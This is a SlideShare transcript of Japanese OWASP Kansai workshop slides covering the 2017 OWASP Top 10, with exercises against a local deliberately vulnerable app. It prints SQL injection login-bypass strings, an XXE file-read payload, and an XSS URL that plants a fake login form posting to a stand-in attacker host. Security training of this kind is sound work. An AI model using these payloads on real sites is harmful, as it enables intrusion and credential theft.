SlideShare uma empresa Scribd logo
1 de 66
OWASP Kansai 2018-04-27 #owaspkansai
【ハンズオン】
OWASP TOP 10のリスクを
体感してみよう
OWASP Kansai 2018-04-27 #owaspkansai
今回のハンズオンのゴール
• OWASP TOP 10を知る
• OWASP TOP 10に載ってるもの(のうち代表的な
もの)を体感してみる
• あとで自分たちでも試せるようになろう ←重要
• ツールの詳しい使い方などは説明しません
2
OWASP Kansai 2018-04-27 #owaspkansai
OWASP - Open Web Application Security Project
OWASPは、ウェブアプリケーションセキュ
リティをとりまく課題を解決することを目
的とする、国際的なオープンなコミュニテ
ィです。企業や国境の壁はもちろんのこと、
あらゆる専門知識と経験を持ったスペシャ
リスト、またユーザのコラボレーションに
より、自由に参加できる開放された活動を
展開しています。
3
同組織の本部は、2001年に設立され、2004年4月21日よりアメリカ合衆国に
て政府認定NPOとして組織運営しています。現在、全世界に120以上の個別
テーマのプロジェクト、さらに200以上の拠点にチャプター(支部)があり
ます。
OWASPは、企業会員制度、企業スポンサーシップ、個人会員制度による寄
付などによって成りたっています。
OWASP Kansai 2018-04-27 #owaspkansai
国内でのOWASPの活動
• OWASP Japan - 2011年より活動。国内全体をカバー
• 国内には多数のOWASP Local Chapter
秋田 / 福島 / 北信越 / 関西 / 九州 / 名古屋 / 名取 / 沖縄 / 仙台
• OWASP Kansai - 2014年より関西で活動
• 自分たちの直面するWebセキュリティの問題を自分たちの手で解決し
たいという思いから活動をスタート
• それぞれが自分たちのできることを持ち寄ることで、みんなでWebを
よくしていく
4
OWASP Kansai 2018-04-27 #owaspkansai
OWASP TOP 10
• 世界中でもっとも活用されているOWASPによる成果物のひと
つ
• https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
• インパクトのある脆弱性やセキュリティ上の問題点をリスト
アップしたもの
• 3-4年ごとに内容を見直し。2017年11月に現バージョンが
公開
• OWASP TOP 10日本語版
• https://www.owasp.org/images/2/23/
OWASP_Top_10-2017%28ja%29.pdf
• OWASP Japanの有志による翻訳
5
OWASP Kansai 2018-04-27 #owaspkansai
OWASP TOP 10
A1:2017 - インジェクション A6:2017 - 不適切なセキュリティ設定
A2:2017 - 認証の不備 A7:2017 -
クロスサイトスクリプティ
ング
A3:2017 - 機微な情報の露出 A8:2017 -
安全でないデシリアライゼ
ーション
A4:2017 -
XML外部エンティティ参
照
A9:2017 -
既知の脆弱性のあるコンポ
ーネントの使用
A5:2017 - アクセス制御の不備 A10:2017 -
不十分なロギングとモニタ
リング
6
OWASP Kansai 2018-04-27 #owaspkansai
A1:2017 - インジェクション
• 「攻撃者によって細工された〇〇が、意図しないかたちで△ △
の一部として挿入・解釈される」というタイプの脆弱性各種の
こと
• SQLインジェクション
• クロスサイトスクリプティング
• HTTPヘッダーインジェクション
• OSコマンドインジェクション
• LDAPインジェクション
• その他…
• 2013年版OWASP TOP 10から引き続き1位
• 発見件数が多い、攻撃された時の影響が大きい
7
OWASP Kansai 2018-04-27 #owaspkansai
A2:2017 – 認証の不備
• ログインやセッション管理に関連する問題のこと
• パスワードリスト攻撃への対応がされているか
• 「password」のような弱いパスワードを排除できる仕組みがあるか
• セッションIDは推測不可能なものになっているか
• ログアウトすることでセッションはきちんと破棄されるか
• その他…
OWASP Kansai 2018-04-27 #owaspkansai
A3:2017 – 機微な情報の露出
• 機密情報が見られてしまう問題
• OWASP TOP 10では
• 暗号化/ハッシュ化されるべきデータや通信路が暗号化されていない
• 暗号化されていても暗号化方式が弱い
という観点で書かれている
• 暗号化に限らず、機密にすべき情報が見えている場合は問題
9
OWASP Kansai 2018-04-27 #owaspkansai
A4:2017 – XML外部エンティティ参照
• XMLを処理するときに、XMLの持つ外部実態参照という機能を
悪用する脆弱性
• サーバー内部のローカルファイルの漏洩
• 同一ネットワークの内部サーバーのWebコンテンツの漏洩
• XML処理系に負荷をかけるDoS
• XML処理系を通じたリモートコード実行
10
OWASP Kansai 2018-04-27 #owaspkansai
A5:2017 – アクセス制御の不備
• 認証やアクセス制御に不備があり
• 本来アクセスできないはずの機能やコンテンツにアクセスできてしま
う
• 権限がなければ本来利用できてはいけないはずの機能が利用できてし
まう
といった類の脆弱性
• よくある例
• 認証なしで /admin や /debug のような管理ページ、デバッグ機能にア
クセスできる
• 管理機能のHTMLページは認証があるけれどAPIには認証がない
• 複雑な権限モデルのアプリケーション(社員・課長・部長・事業部長み
たいなグループウェアなど)で期待される権限を越えて操作ができる
11
OWASP Kansai 2018-04-27 #owaspkansai
A6:2017 – 不適切なセキュリティ設定
• セキュリティ上の問題を起こすような設定ミス、デフォルトの
ままの設定など
• 各種ソフトウェアをデフォルト設定のまま利用したために安全でない
設定になっている
• エラーメッセージに機密情報が含まれている
• デフォルトのユーザーアカウントやパスワードが設定されている
など
• 見たことのある実例
• ブラウザーのXSS保護機能を無効にしているレスポンスヘッダーの指
定 X-XSS-Protection: 0
• つづりを間違えて Set-Cookie: session=XXXXX; http-only と記述
12
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
• クロスサイトスクリプティング
• 利用者がサイトへアクセスした際に、意図しないjavascript
を実行させる攻撃のこと
13
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
• クロスサイトスクリプティング
• 「A1:2017 – インジェクション」に含有されるにも関わらず単独項目
として記載
• それだけ発見件数も多く注目に値するということ
• 近年ではDOM-based XSSも増えている
14
OWASP Kansai 2018-04-27 #owaspkansai
A8:2017 – 安全でないデシリアライゼーシ
ョン
• デシリアライゼーション
JavaやPHPなどのプログラミング言語において文字列やバイト
列からオブジェクトを復元する機能のこと
• 外部由来のデータを元にデシリアライゼーションを行ってしま
うことで、任意コードの実行などが行われてしまう脆弱性
• 2017年版で初めてOWASP TOP 10にランクイン
15
OWASP Kansai 2018-04-27 #owaspkansai
A9:2017 – 既知の脆弱性のあるコンポーネ
ントの使用
• すでに脆弱性がすでに見つかっているライブラリやフレームワ
ーク、ミドルウェアを使い続けるといった問題
• 広く使われているフレームワークでは、脆弱性が発見された瞬
間に世界中で攻撃が多発することも多々ある
• 運用体制を作る
• 使用しているコンポーネントの把握
• 不要な機能やコンポーネントの除去
• 使用コンポーネントの脆弱性が発見された時の対応体制
16
OWASP Kansai 2018-04-27 #owaspkansai
A10:2017 – 不十分なロギングとモニタリ
ング
• ログの記録や監視が適切に行えていないという問題
• 攻撃を受けたときも早い段階で気づくことができるようログを記録し
監視を行ったり、また攻撃を受けたあとにもどういう被害があったの
かをきちんと解析するにはログを十分に残す必要がある
• 外部からの脆弱性診断などでは発見されにくい
• 正常に運用が行えているあいだは問題になりにくい
• インシデントが発生したときに致命的な問題となる
17
ハンズオン準備
18
OWASP Kansai 2018-04-27 #owaspkansai
ハンズオン準備の流れ
1. node.jsのインストール
2. やられWebアプリ「BadLibrary」のインストール
【Bad図書館のログイン情報<basic=user:pass>】
メールアドレス:akita@example.jp
暗証番号 :1234
OWASP Kansai 2018-04-27 #owaspkansai
node.jsのインストール
1. https://nodejs.org/ja/ から「LTS版」をダウンロードしてイン
ストール
2. 慣れてる人はLTSでなくてもOK。nvmやnodistでももちろん
OK
20
OWASP Kansai 2018-04-27 #owaspkansai
やられWebアプリ「BadLibrary」のインストー
ル
• 今回のハンズオン対象
• 脆弱性を気軽に試すことができる脆弱
なWebアプリケーション
• アプリケーションの規模がシンプルで
機能把握が行いやすい
• 動作させるまでが簡単
node.jsのみ。Mac / Windows / Linux
で動作。VM不要
• 1台のサーバーに対して複数人で脆弱
性診断を行っても環境が壊れない
(集合研修などにも向いている)
21
https://github.com/SecureSkyTechnology/BadLibrary
OWASP Kansai 2018-04-27 #owaspkansai
やられWebアプリ「BadLibrary」のインストー
ル
1. 「BadLibrary」一式をダウンロード
https://github.com/SecureSkyTechnology/BadLibrary/archive/master.zip をダウンロー
ドしてzipを展開
(慣れてる人は
でもOK)
2. srcディレクトリ内でコマンドプロンプトを開き以下を実行す
る
「ERR: ...」が出なければインストール完了。「WARN: ...」は出ます
22
C:¥tmp¥BadLibrary¥src>npm install
git clone https://github.com/SecureSkyTechnology/BadLibrary
OWASP Kansai 2018-04-27 #owaspkansai
補足: npm installでエラーが出たとき
23
> libxmljs@0.18.7 install C:¥Users¥user¥Documents¥0427¥src¥node_modules¥libxmljs
> node-pre-gyp install --fallback-to-build --loglevel http
node-pre-gyp http GET https://github.com/libxmljs/libxmljs/releases/download/v0.18.7/node-v51-win32-x64.tar.gz
node-pre-gyp ERR! UNCAUGHT EXCEPTION
node-pre-gyp ERR! stack Error: Cannot find module 'block-stream'
node-pre-gyp ERR! stack at Function.Module._resolveFilename (module.js:470:15)
node-pre-gyp ERR! stack at Function.Module._load (module.js:418:25)
node-pre-gyp ERR! stack at Module.require (module.js:498:17)
(略)
npm ERR! node v7.2.1
npm ERR! npm v4.0.5
npm ERR! code ELIFECYCLE
npm ERR! libxmljs@0.18.7 install: `node-pre-gyp install --fallback-to-build --loglevel http`
npm ERR! Exit status 7
(略)
{
"name": "badlibrary",
"version": "1.0.0",
(略)
"license": "MIT",
"dependencies": {
"block-stream": "0.0.9",
"libxmljs": "^0.18.7",
"sqlite3": "^3.1.8"
}
}
"block-stream": "0.0.9",
src/package.jsonに1行追加してください
→
この1行
を追加
OWASP Kansai 2018-04-27 #owaspkansai
BadLibraryの動作確認
1. 以下のコマンドでBadLibraryを起動させる
2. ブラウザーを起動し http://localhost:8888/ にアクセスする
- BASIC認証のユーザー名、パスワードには 「user」「pass」を入力
24
C:¥tmp¥BadLibrary¥src>node app.js -p 8888
Starting httpd on port 8888
user
pass
この画面が表示
されればOK
OWASP Kansai 2018-04-27 #owaspkansai
BadLibraryの設定ファイル
• src/config.jsonファイルを編集
することで、有効にする脆弱性を
指定できる
• デフォルトでは全ての
脆弱性が有効になっている
25
{
"global" : {
"basic" : "user:pass"
},
"vulnerabilities" : {
"sqli" : ["auth", "search", "blind"],
"xss" : ["reflect", "dom"],
"session" : ["no-refresh", "no-httponly", "serial"],
"xxe" : true,
"csrf" : true,
"expose" : ["dirindex", "admin", "contact"]
}
}
BASIC認証のユーザー名、パスワード
含める脆弱性
OWASP Kansai 2018-04-27 #owaspkansai
参考:Azure環境のご紹介
• https://camp20180519.azurewebsites.net
• BASIC認証 user/pass = user/pass です
26
大規模な環境ではありません!
大量接続は注意!!
パンクしちゃいます!!
ハンズオン
OWASP Kansai 2018-04-27 #owaspkansai
OWASP TOP 10
A1:2017 - インジェクション A6:2017 - 不適切なセキュリティ設定
A2:2017 - 認証の不備 A7:2017 -
クロスサイトスクリプティ
ング
A3:2017 - 機微な情報の露出 A8:2017 -
安全でないデシリアライゼ
ーション
A4:2017 -
XML外部エンティティ参
照
A9:2017 -
既知の脆弱性のあるコンポ
ーネントの使用
A5:2017 - アクセス制御の不備 A10:2017 -
不十分なロギングとモニタ
リング
28
OWASP Kansai 2018-04-27 #owaspkansai
A1:2017 – インジェクション
• 貸出履歴の検索機能にSQLインジェクション
1. BadLibraryに メールアドレス:akita@example.jp、暗証番号:1234で
ログイン
2. 検索語句に通常の語句と「 ' 」を入れた時の違いを見てみましょう
内部で実行されるSQL
29
select * from (history inner join books on history.bid=books.id)
inner join users on history.uid=users.id
where books.title like '% %' and uid = 21
ORDER BY date1;
'
{
"vulnerabilities" : { "sqli" : ["search"] }
}
config.json
OWASP Kansai 2018-04-27 #owaspkansai
A1:2017 – インジェクション
• 貸出履歴の検索機能にSQLインジェクション
3. 検索語句に「 '' 」を入れた時の違いを見てみましょう
内部で実行されるSQL
30
select * from (history inner join books on history.bid=books.id)
inner join users on history.uid=users.id
where books.title like '% %' and uid = 21
ORDER BY date1;
' '
OWASP Kansai 2018-04-27 #owaspkansai
A1:2017 – インジェクション
• 貸出履歴の検索機能にSQLインジェクション
Q1. すべてのユーザの貸出履歴を表示させてみましょう
31
OWASP Kansai 2018-04-27 #owaspkansai
A1:2017 – インジェクション
• 貸出履歴の検索機能にSQLインジェクション
検索語句に「' OR 1=1;--」を入れることで全件表示!!
内部で実行されるSQL
32
select * from (history inner join books on history.bid=books.id)
inner join users on history.uid=users.id
where books.title like '% %' and uid = 21
ORDER BY date1;
' OR 1=1;--
config.json
OWASP Kansai 2018-04-27 #owaspkansai
A1:2017 – インジェクション
• チャレンジ!!!
Q2. ユーザ「chiba@example.jp」に不正ログインしよう
33
OWASP Kansai 2018-04-27 #owaspkansai
A1:2017 – インジェクション
• ログイン画面にSQLインジェクション
• 認証なしでログイン可能
1. BadLibraryに メールアドレス:chiba@example.jp、暗証番号:「' OR
1=1);--」でログイン
内部で実行されるSQL
34
SELECT * FROM users
WHERE (mail='chiba@example.jp') and (pass=' ');' OR 1=1);--
{
"vulnerabilities" : { "sqli" : ["auth"] }
}
config.json
OWASP Kansai 2018-04-27 #owaspkansai
A2:2017 – 認証の不備
• 暗証番号が数値4桁
• ログイン時にセッションIDが変更されない
• httponly属性がついていない
35
OWASP Kansai 2018-04-27 #owaspkansai
A2:2017 – 認証の不備
・アカウントリスト攻撃
脆弱なID/パスワード
アカウントロック
ログインエラーメッセージ
・セッション管理における攻撃
脆弱なセッションID
Cookieの有効期限
Cookie設定の不備
36
OWASP Kansai 2018-04-27 #owaspkansai
A2:2017 – 認証の不備
37
• チャレンジ!!!
Q3. 認証の不備に関する脆弱性をみつけましょう
OWASP Kansai 2018-04-27 #owaspkansai
A2:2017 – 認証の不備
1. いったんBadLibraryからログアウトする
2. BadLibraryの/loginにアクセスした時のCookieを見てみる
3. akita@example.jp / 1234 でログインした時およびそれ以降の
cookieを見てみる
4. 上記の②③で同じセッションIDが使われていることが確認で
きる
⇨ セッションIDがログイン前後で同じ
38
OWASP Kansai 2018-04-27 #owaspkansai
A2:2017 – 認証の不備
・脆弱なパスワード :パスワードが数値4桁
・アカウントロック :何度失敗してもアカウントロックされない
・脆弱なセッションID:ログイン前後にセッションIDが変更されない
・Cookie設定の不備 :httponly属性がついていない
39
OWASP Kansai 2018-04-27 #owaspkansai
A3:2017 – 機微な情報の露出
1. メモ帳(notepad.exe)を起動
2. エクスプローラーからデータベースのファイル(src/libra.db)を
メモ帳にドラッグ&ドロップ
3. 文字化けしているが「...kita@example.jp1234」の文字列が確
認できる
• メールアドレスと対応する暗証番号がハッシュ化されずに保存されて
いる
40
OWASP Kansai 2018-04-27 #owaspkansai
A3:2017 – 機微な情報の露出
1. ログインした状態で「お問合わせ」から適当な内容を投稿する
2. いったんログアウトする
3. http://localhost:8888/robots.txt にアクセスする
4. 怪しげな内容が…。とりあえず http://localhost:8888/contact/logにアクセスしてみる
5. ファイル一覧が見えるので今日の日付のファイルをクリックすると先ほどのお問い合
わせ内容が閲覧可能
41
OWASP Kansai 2018-04-27 #owaspkansai
A4:2017 – XML外部エンティティ参照
42
1. http://localhost:8888/admin
にアクセス
2. 「書籍名」「入荷日」「ペ
ージ数」「書架」に適当に
値を入れ「登録」をクリッ
ク。「登録に失敗しまし
た」のメッセージが表示さ
れる
3. その時の通信をZAPで見て
みる
POSTでXMLが送信されている
OWASP Kansai 2018-04-27 #owaspkansai
A4:2017 – XML外部エンティティ参照
43
<!DOCTYPE x [<!ENTITY xxe SYSTEM
"config.json">]><book><title>&xxe;</title>
<date>2017-12-18</date><pages>1</pages>
<loc>Z-1</loc></book>
送信されるXMLを書き換えると、サーバー上
の "config.json" ファイルが取得できた!
OWASP Kansai 2018-04-27 #owaspkansai
A10:2017 – 不十分なロギングとモニタリ
ング
• BadLibraryではそもそもログファイルの記録などを行なってい
ない
44
OWASP Kansai 2018-04-27 #owaspkansai
A5:2017 - アクセス制御の不備
• アクセス制御の不備とは、
認証やアクセス制御に不備があり
• 本来アクセスできないはずの機能やコンテンツにアクセスできてしま
う
• 権限がなければ本来利用できてはいけないはずの機能が利用できてし
まう
といった類の脆弱性です
45
OWASP Kansai 2018-04-27 #owaspkansai
A5:2017 - アクセス制御の不備
46
Q.本来、管理者しか使えないはずの機能にアクセスしてください
OWASP Kansai 2018-04-27 #owaspkansai
A5:2017 - アクセス制御の不備
1. ログアウトした状態でhttp://localhost:8888/robots.txtにアクセ
スしてみる
2. 怪しげな内容が…。
47
Q.本来、管理者しか使えないはずの機能にアクセスしてください
OWASP Kansai 2018-04-27 #owaspkansai
A5:2017 - アクセス制御の不備
1. ログアウトした状態でhttp://localhost:8888/robots.txtにアクセ
スしてみる
2. 怪しげな内容が…。とりあえず http://localhost:8888/adminに
アクセスしてみる
3. 管理者しか使えない機能に誰でもアクセスできる
※BadLibraryではサーバーの再起動、書籍の登録は毎回失敗するように
なっています
48
Q.本来、管理者しか使えないはずの機能にアクセスしてください
OWASP Kansai 2018-04-27 #owaspkansai
A6:2017 – 不適切なセキュリティ設定
1. 不適切なセキュリティ設定では、
セキュリティ上の問題を起こすような設定ミス、
デフォルトのままの設定が原因で発生する問題です
49
OWASP Kansai 2018-04-27 #owaspkansai
A6:2017 – 不適切なセキュリティ設定
1. http://localhost:8888/robots.txt にアクセスしてみる
• 本来は見られたくないはずのコンテンツがむしろ明瞭になっている
50
OWASP Kansai 2018-04-27 #owaspkansai
A6:2017 – 不適切なセキュリティ設定
1. http://localhost:8888/contact/log にアクセスしてみる
• ディレクトリインデックスが有効になっている
51
OWASP Kansai 2018-04-27 #owaspkansai
A6:2017 – 不適切なセキュリティ設定
1. http://192.168.119.130:8888/historyにアクセスし、
検索フォームに「'」を入力し送信してみる
• SQL文のエラーが画面に出力されている
52
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
1. XSSとは利用者がサイトへアクセスした際に、意図しない
javascriptを実行させる攻撃のこと
53
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
54
送信
ページのソースを
確認した場合
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
55
送信
ページのソースを
確認した場合
インラインスクリプトとして認識されている
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
Q1.XSSを発生させてみてください
1. akita@example.jp / 1234 でログインする
XSSの確認用:<script>alert(1)</script>
56
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
Q1.XSSを発生させてみてください
1. akita@example.jp / 1234 でログインする
2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる
XSSの確認用:<script>alert(1)</script>
57
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
Q1.XSSを発生させてみてください
1. akita@example.jp / 1234 でログインする
2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる
3. URL中のパラメータdに注目(これが年月)
XSSの確認用:<script>alert(1)</script>
58
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
Q1.XSSを発生させてみてください
1. akita@example.jp / 1234 でログインする
2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる
3. URL中のパラメータdに注目(これが年月)
4. パラメータdを201606<s>abcdなどに変更して検索し、画面
の変化に着目
(http://localhost:8888/history?q=&d=201606%3Cs%3Eabcd)
XSSの確認用:<script>alert(1)</script>
59
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
Q2.XSSを発生させて、cookieの値をみてください
1. akita@example.jp / 1234 でログインする
2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる
3. URL中のパラメータdに注目(これが年月)
4. パラメータdを201606<s>abcdなどに変更して検索し、画面
の変化に着目
(http://localhost:8888/history?q=&d=201606%3Cs%3Eabcd)
XSSの確認用:<script>alert(1)</script>
60
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
Q2.XSSを発生させて、cookieの値をみてください
1. akita@example.jp / 1234 でログインする
2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる
3. URL中のパラメータdに注目(これが年月)
4. パラメータdを201606<s>abcdなどに変更して検索し、画面
の変化に着目
(http://localhost:8888/history?q=&d=201606%3Cs%3Eabcd)
XSSの確認用:<script>alert(1)</script>
jsでcookieにアクセスする方法:document.cookie
61
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
Q3.他の箇所でXSSを発生させてみてください
1. akita@example.jp / 1234 でログインする
XSSの確認用:<script>alert(1)</script>
62
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
Q3.他の箇所でXSSを発生させてみてください
1. akita@example.jp / 1234 でログインする
2. 「検索語句」部分に攻撃値を入力し、XSSを発生させてみて
ください
XSSの確認用:<script>alert(1)</script>
63
OWASP Kansai 2018-04-27 #owaspkansai
A7:2017 – クロスサイトスクリプティング
64
http://localhost:8888/history?q=&d=2016%3Cscript%3Edocument.body.innerHT
ML=%27%3Chr%3E%3Cform%20action=%22http://attacker.example.jp/%22%
3E%E3%83%A1%E3%83%BC%E3%83%AB%E3%82%A2%E3%83%89%E3
%83%AC%E3%82%B9%3Cbr%3E%3Cinput%20size=30%3E%3Cbr%3E%E3
%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%3Cbr%3E%
3Cinput%20type=password%20size=30%3E%3Cbr%3E%3Cinput%20type=su
bmit%20value=%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3%3E%
3Cbr%3E%3Cbr%3E%3Cbr%3E%27;%3C/script%3E
より細工されたXSS
にせログイン画面の表
示
OWASP Kansai 2018-04-27 #owaspkansai
A8:2017 -安全でないデシリアライゼーシ
ョン
• BadLibraryにはこの脆弱性は存在しないので試せません…
• JavaやPHPで発生する脆弱性
• node.jsで作られたBadLibraryには組み込みにくい
65
OWASP Kansai 2018-04-27 #owaspkansai
A9:2017 -既知の脆弱性のあるコンポーネントの使用
• BadLibraryでは明確に古いコンポーネントというのは使われて
いないので、現段階では(おそらく)この脆弱性は存在しない
66

Mais conteúdo relacionado

Mais procurados

130821 owasp zed attack proxyをぶん回せ
130821 owasp zed attack  proxyをぶん回せ 130821 owasp zed attack  proxyをぶん回せ
130821 owasp zed attack proxyをぶん回せ Minoru Sakai
 
20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!
20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!
20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!OWASP Nagoya
 
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-zaki4649
 
20190208 脆弱性と共生するには
20190208 脆弱性と共生するには20190208 脆弱性と共生するには
20190208 脆弱性と共生するにはOWASP Nagoya
 
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」Masato Kinugawa
 
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!zaki4649
 
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -Isao Takaesu
 
診断ツールの使い方(Owasp zapの場合)
診断ツールの使い方(Owasp zapの場合)診断ツールの使い方(Owasp zapの場合)
診断ツールの使い方(Owasp zapの場合)shingo inafuku
 
ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話zaki4649
 
Djangoのセキュリティとその実装
Djangoのセキュリティとその実装Djangoのセキュリティとその実装
Djangoのセキュリティとその実装aki33524
 
Proxy War EPISODEⅡ
Proxy War EPISODEⅡProxy War EPISODEⅡ
Proxy War EPISODEⅡzaki4649
 
第8回脆弱性診断入門
第8回脆弱性診断入門第8回脆弱性診断入門
第8回脆弱性診断入門ionis111
 
Internet Week 2016 脆弱性スキャナによる対策支援の課題 Vuls
Internet Week 2016 脆弱性スキャナによる対策支援の課題 VulsInternet Week 2016 脆弱性スキャナによる対策支援の課題 Vuls
Internet Week 2016 脆弱性スキャナによる対策支援の課題 VulsKota Kanbe
 
RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -Isao Takaesu
 
RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -Isao Takaesu
 
クラウドセキュリティ基礎 #seccamp
クラウドセキュリティ基礎 #seccampクラウドセキュリティ基礎 #seccamp
クラウドセキュリティ基礎 #seccampMasahiro NAKAYAMA
 
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccampこれからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccampKyo Ago
 
脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよ脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよMasakazu Ikeda
 

Mais procurados (20)

130821 owasp zed attack proxyをぶん回せ
130821 owasp zed attack  proxyをぶん回せ 130821 owasp zed attack  proxyをぶん回せ
130821 owasp zed attack proxyをぶん回せ
 
20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!
20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!
20181117-一般的な脆弱性の概要・対策を知り、ZAPで見つけてみよう!
 
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-
 
20190208 脆弱性と共生するには
20190208 脆弱性と共生するには20190208 脆弱性と共生するには
20190208 脆弱性と共生するには
 
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」
 
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!
 
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
 
診断ツールの使い方(Owasp zapの場合)
診断ツールの使い方(Owasp zapの場合)診断ツールの使い方(Owasp zapの場合)
診断ツールの使い方(Owasp zapの場合)
 
ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話ノリとその場の勢いでPocを作った話
ノリとその場の勢いでPocを作った話
 
Djangoのセキュリティとその実装
Djangoのセキュリティとその実装Djangoのセキュリティとその実装
Djangoのセキュリティとその実装
 
Proxy War EPISODEⅡ
Proxy War EPISODEⅡProxy War EPISODEⅡ
Proxy War EPISODEⅡ
 
第8回脆弱性診断入門
第8回脆弱性診断入門第8回脆弱性診断入門
第8回脆弱性診断入門
 
Internet Week 2016 脆弱性スキャナによる対策支援の課題 Vuls
Internet Week 2016 脆弱性スキャナによる対策支援の課題 VulsInternet Week 2016 脆弱性スキャナによる対策支援の課題 Vuls
Internet Week 2016 脆弱性スキャナによる対策支援の課題 Vuls
 
Not CVE-2013-xxxx
Not CVE-2013-xxxxNot CVE-2013-xxxx
Not CVE-2013-xxxx
 
RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -
 
Vuls×deep security
Vuls×deep securityVuls×deep security
Vuls×deep security
 
RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -
 
クラウドセキュリティ基礎 #seccamp
クラウドセキュリティ基礎 #seccampクラウドセキュリティ基礎 #seccamp
クラウドセキュリティ基礎 #seccamp
 
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccampこれからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccamp
 
脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよ脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよ
 

Semelhante a Owasp top10 HandsOn

20180601 OWASP Top 10 2017の読み方
20180601 OWASP Top 10 2017の読み方20180601 OWASP Top 10 2017の読み方
20180601 OWASP Top 10 2017の読み方OWASP Nagoya
 
SOSAISEC LT 201701 シフトレフトでセキュリティイニシアチブを取り返そう
SOSAISEC LT 201701 シフトレフトでセキュリティイニシアチブを取り返そうSOSAISEC LT 201701 シフトレフトでセキュリティイニシアチブを取り返そう
SOSAISEC LT 201701 シフトレフトでセキュリティイニシアチブを取り返そうRiotaro OKADA
 
オワスプナイト20150115 dependency check
オワスプナイト20150115 dependency checkオワスプナイト20150115 dependency check
オワスプナイト20150115 dependency checkHiroaki Kuramochi
 
業務時間で書いたパッチは誰のもの?OSS活動にまつわる罠 (builderscon tokyo 2018)
業務時間で書いたパッチは誰のもの?OSS活動にまつわる罠 (builderscon tokyo 2018)業務時間で書いたパッチは誰のもの?OSS活動にまつわる罠 (builderscon tokyo 2018)
業務時間で書いたパッチは誰のもの?OSS活動にまつわる罠 (builderscon tokyo 2018)uchan_nos
 
IoT Security を実現する3つの視点とShift Left
